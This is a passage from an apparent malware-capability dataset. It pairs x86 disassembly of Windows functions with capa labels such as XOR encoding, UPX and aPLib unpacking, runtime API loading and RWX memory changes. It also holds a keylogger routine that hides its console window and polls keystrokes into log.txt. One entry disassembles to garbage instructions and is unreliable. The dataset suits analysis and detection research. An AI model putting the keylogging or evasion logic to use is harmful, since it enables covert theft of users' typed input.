joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4252d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [0x42d00c]
mov esi, edx
mov ebx, dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov edi, dword [ecx]
mov edx, dword [edi + 4]
cmp byte [edx + 0xd], 0
je 0x425361
mov dword [ebp - 0x14], edi
mov eax, edi
cmp edi, dword [eax]
je 0x4253a6
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x18], esi
call fcn.00418d40
mov edi, dword [ebp - 0x14]
mov al, 1
mov dword [ebp - 0x20], eax
lea esi, [edi + 0x10]
mov ecx, esi
mov edx, ebx
call fcn.004224f0
test al, al
je 0x4253b0
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ebp - 0x20]
mov edx, esi
push dword [ebp + 0xc]
push dword [ebp - 0x24]
push eax
call fcn.00425150
add esp, 0xc
mov al, 1
mov byte [esi + 4], al
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00425eac
mov eax, esi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea esi, [edx + 0x10]
mov edi, edx
mov ecx, ebx
mov edx, esi
call fcn.004224f0
mov ecx, eax
xor cl, 1
movzx ecx, cl
mov edx, dword [edi + ecx*8]
cmp byte [edx + 0xd], 0
je 0x425370
test al, al
mov dword [ebp - 0x14], edi
je 0x4253ee
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov eax, dword [ecx]
cmp edi, dword [eax]
jne 0x425300
mov edx, esi
push dword [ebp + 0xc]
push edi
push 1
jmp 0x425340
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 0x18]
call fcn.004202f0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4253d7
mov ecx, dword [esi + 0x14]
and ecx, 3
cmp ecx, 1
jne 0x4253d7
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push 0x30
push esi
call fcn.004255af
add esp, 8
mov esi, dword [ebp - 0x18]
xor eax, eax
mov dword [esi], edi
jmp 0x42534a
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], edi
jmp 0x42531c
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x428004]
jne 0x401010
repz ret
jmp fcn.00401601

Function at 0x4076e5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404bff
and dword [ebp - 4], 0
cmp dword [0x42ac9c], 0
mov ebx, eax
jne 0x407796
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407847
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407847
push eax
call fcn.00404b8d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42ac9c], eax
call esi
push eax
call fcn.00404b8d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42aca0], eax
call esi
push eax
call fcn.00404b8d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42aca4], eax
call esi
push eax
call fcn.00404b8d
pop ecx
mov dword [0x42acac], eax
test eax, eax
je 0x407796
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404b8d
pop ecx
mov dword [0x42aca8], eax
mov eax, dword [0x42aca8]
cmp eax, ebx
je 0x4077ee
cmp dword [0x42acac], ebx
je 0x4077ee
push eax
call fcn.00404c08
push dword [0x42acac]
mov esi, eax
call fcn.00404c08
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4077ee
test edi, edi
je 0x4077ee
call esi
test eax, eax
je 0x4077e5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4077e5
test byte [ebp - 0xc], 1
jne 0x4077ee
or dword [ebp + 0x10], 0x200000
jmp 0x407827
mov eax, dword [0x42aca0]
cmp eax, ebx
je 0x407827
push eax
call fcn.00404c08
pop ecx
test eax, eax
je 0x407827
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407827
mov eax, dword [0x42aca4]
cmp eax, ebx
je 0x407827
push eax
call fcn.00404c08
pop ecx
test eax, eax
je 0x407827
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42ac9c]
call fcn.00404c08
pop ecx
test eax, eax
je 0x407847
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407849
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409a80
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x23423b4], 0x930
jne 0x409aaa
push str.sobugo
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x23423b4], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x23421f8], eax
jne 0x409add
push 0
lea ecx, [ebp - 0x804]
push ecx
push 0
call sub.KERNEL32.dll_VerLanguageNameW
lea edx, [ebp - 0x820]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401006
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x5d4e80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x113000]
push edi
or ebp, 0xffffffff
jmp 0x5d4ea2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5d4ea9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d4e98
mov eax, 1
add ebx, ebx
jne 0x5d4ebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5d4ecc
jne 0x5d4edc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d4edc
dec eax
add ebx, ebx
jne 0x5d4ed8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5d4eb0
xor ecx, ecx
sub eax, 3
jb 0x5d4ef4
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5d4f66
sar eax, 1
mov ebp, eax
jmp 0x5d4eff
add ebx, ebx
jne 0x5d4eff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5d4f0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x5d4f30
inc ecx
add ebx, ebx
jne 0x5d4f1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5d4f11
jne 0x5d4f2d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5d4f11
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5d4f50
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5d4f41
jmp 0x5d4e9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5d4f50
add edi, ecx
jmp 0x5d4e9e
pop esi
mov edi, esi
mov ecx, 0x551c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5d4f6e
cmp byte [edi], 0x1e
jne 0x5d4f6e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x5d4f73
lea edi, [esi + 0x1d1000]
mov eax, dword [edi]
or eax, eax
je 0x5d4feb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d70a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d71bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5d4fa0
mov ecx, edi
jns 0x5d4fcf
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d71c0]
or eax, eax
je 0x5d4fe5
mov dword [ebx], eax
add ebx, 4
jmp 0x5d4fbd
call dword [esi + 0x1d71c4]
popal
jmp 0x4a89b3
Function at 0x3913700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0391378f
jae 0x391370e
xor ecx, ecx
call fcn.0391378f
jae 0x391373d
xor eax, eax
call fcn.0391378f
jae 0x391374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0391378f
adc al, al
jae 0x391372f
jne 0x3913779
stosb byte es:[edi], al
jmp 0x3913711
call fcn.0391379b
sub ecx, ebx
jne 0x3913756
call fcn.03913799
jmp 0x3913775
lodsb al, byte [esi]
shr eax, 1
je 0x3913783
adc ecx, ecx
jmp 0x3913772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.03913799
cmp eax, 0x7d00
jae 0x3913772
cmp ah, 5
jae 0x3913773
cmp eax, 0x7f
ja 0x3913774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3913711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x4324b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x23000]
push edi
jmp 0x4324ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4324d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4324c0
mov eax, 1
add ebx, ebx
jne 0x4324e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4324d8
jne 0x4324f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4324d8
xor ecx, ecx
sub eax, 3
jb 0x432508
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43257a
mov ebp, eax
add ebx, ebx
jne 0x432513
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x432520
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x432544
inc ecx
add ebx, ebx
jne 0x432530
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x432525
jne 0x432541
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x432525
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x432564
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x432555
jmp 0x4324c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x432564
add edi, ecx
jmp 0x4324c6
pop esi
lea edi, [esi + 0x30000]
mov eax, dword [edi]
or eax, eax
je 0x4325cc
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x32fcc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x33008]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x432581
mov ecx, edi
jns 0x4325b0
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x33010]
or eax, eax
je 0x4325c6
mov dword [ebx], eax
add ebx, 4
jmp 0x43259e
call dword [esi + 0x3300c]
mov ebp, dword [esi + 0x33014]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x432600
sub esp, 0xffffff80
jmp 0x403670
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x8f0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8f01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8f007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8f006a
add dl, dl
jne 0x8f0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8f00dc
xor eax, eax
add dl, dl
jne 0x8f0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8f017d
add dl, dl
jne 0x8f00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8f00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8f00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8f00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8f00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8f0075
mov eax, 1
add dl, dl
jne 0x8f00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8f00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8f00e1
sub eax, ebx
mov ebx, 1
jne 0x8f0128
mov ecx, 1
add dl, dl
jne 0x8f010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8f0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8f0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8f0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8f013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8f014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8f0136
cmp eax, 0x7d00
jae 0x8f016d
cmp eax, 0x500
jb 0x8f0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8f0075
cmp eax, 0x7f
ja 0x8f0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8f0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8f019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8f0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call 0x40c300
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.z185zkqj]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.z185zkqj]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.z185zkqj]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.z185zkqj]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.z185zkqj]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.z185zkqj]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1000d070
Capabilities:
Encode data using xor

Disassembly:
add al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dh, ch
aaa
xor eax, 5
add byte [eax], al
rcl byte [esi + 0x4d], 0
sar byte [eax - 0x5e], 0xb
mov al, byte [0xfffff8]
add byte [eax], 0
add byte [eax], al
add byte [eax], al
jo 0x1000d0aa
adc eax, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jne 0x1000d136
xor eax, 5
add byte [eax], dl
inc ebx
daa
sub dl, ch
inc edx
sbb dword [eax - 0x48], eax
push ss
in al, 0xb8
invalid
sbb dword [eax - 0x48], eax
push ss
in al, 0xb8
invalid
Function at 0x10017484
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x100174a9
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x100174c1
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x100174f0
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x10017532
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x10017606
sub edx, 0x10000
js 0x10017606
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x10017518
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x10017518
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x10017589
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x10017586
add edx, 8
jne 0x1001756d
jmp 0x100175f7
add edx, 4
test eax, 0xffff
jne 0x10017596
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x100175f7
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x100175ca
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x10017518
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x10017606
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x10017518
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x10017617
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401b50
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x401b9b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401b94
test esi, esi
je 0x401b94
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b70
mov dword [esp], 0x408048
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d80
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401ea4
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401e0e
cmp eax, 4
jne 0x401e30
test esi, esi
je 0x401e22
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401e14
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x401e6f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x401e61
cmp ecx, 0x40
je 0x401e22
cmp ecx, 4
je 0x401e22
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d80
lea esi, [esi]
Function at 0x403fe4
Capabilities:
Hide graphical window
Log keystrokes
Log keystrokes via polling

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x18
call fcn.00401a20
mov dword [esp + 4], 0x406044
mov dword [esp], str.log.txt
call sub.msvcrt.dll_fopen
mov dword [0x408020], eax
test eax, eax
je 0x4041f9
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sub.USER32.dll_FindWindowA
push ebx
push ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push esi
push esi
mov ebx, 8
mov dword [esp], ebx
call sub.USER32.dll_GetAsyncKeyState
push ecx
test ax, ax
jns case.0x4040ae.10
mov eax, dword [0x408020]
test eax, eax
je case.0x4040ae.10
cmp ebx, 0x2e
jg 0x40417c
cmp ebx, 0xf
jg 0x40407f
cmp ebx, 9
jg 0x404097
jmp 0x4040a2
lea ecx, [ebx - 0x10]
mov edx, 1
shl edx, cl
and edx, 0x41f90803
je 0x40417c
jmp 0x4040a2
cmp ebx, 0xd
jne 0x40417c
jmp case.0x4040ae.13
lea edx, [ebx - 8]
cmp edx, 0x26
ja case.0x4040ae.10
jmp dword [edx*4 + 0x4060d4]
mov dword [esp + 4], eax
mov dword [esp], str._BACKSPACE_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], 0xa
jmp 0x4041d5
mov dword [esp + 4], eax
mov dword [esp], 0x20
jmp 0x4041d5
mov dword [esp + 4], eax
mov dword [esp], str._TAB_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._SHIFT_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._CTRL_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._ESC_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._END_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._HOME_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._LEFT_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._UP_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._RIGHT_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._DOWN_
jmp 0x404175
mov dword [esp + 4], eax
mov dword [esp], str._DELETE_
call sub.msvcrt.dll_fputs
jmp case.0x4040ae.10
mov dword [esp + 4], 2
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
push ecx
mov edi, eax
mov esi, eax
push ecx
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
push edx
test al, 1
jne 0x4041c4
mov dword [esp], 0x10
call sub.USER32.dll_GetKeyState
push edx
test ax, ax
js 0x4041c4
mov eax, edi
movsx edi, al
mov dword [esp], edi
call sub.msvcrt.dll_tolower
mov esi, eax
mov eax, dword [0x408020]
mov dword [esp + 4], eax
mov eax, esi
movsx esi, al
mov dword [esp], esi
call sub.msvcrt.dll_fputc
inc ebx
cmp ebx, 0xbf
jne 0x40404b
mov dword [esp], 0xa
call sub.KERNEL32.dll_Sleep
push eax
jmp 0x404046
mov dword [esp], str.Error_opening_log_file_
call sub.msvcrt.dll_puts
lea esp, [ebp - 0x10]
mov eax, 1
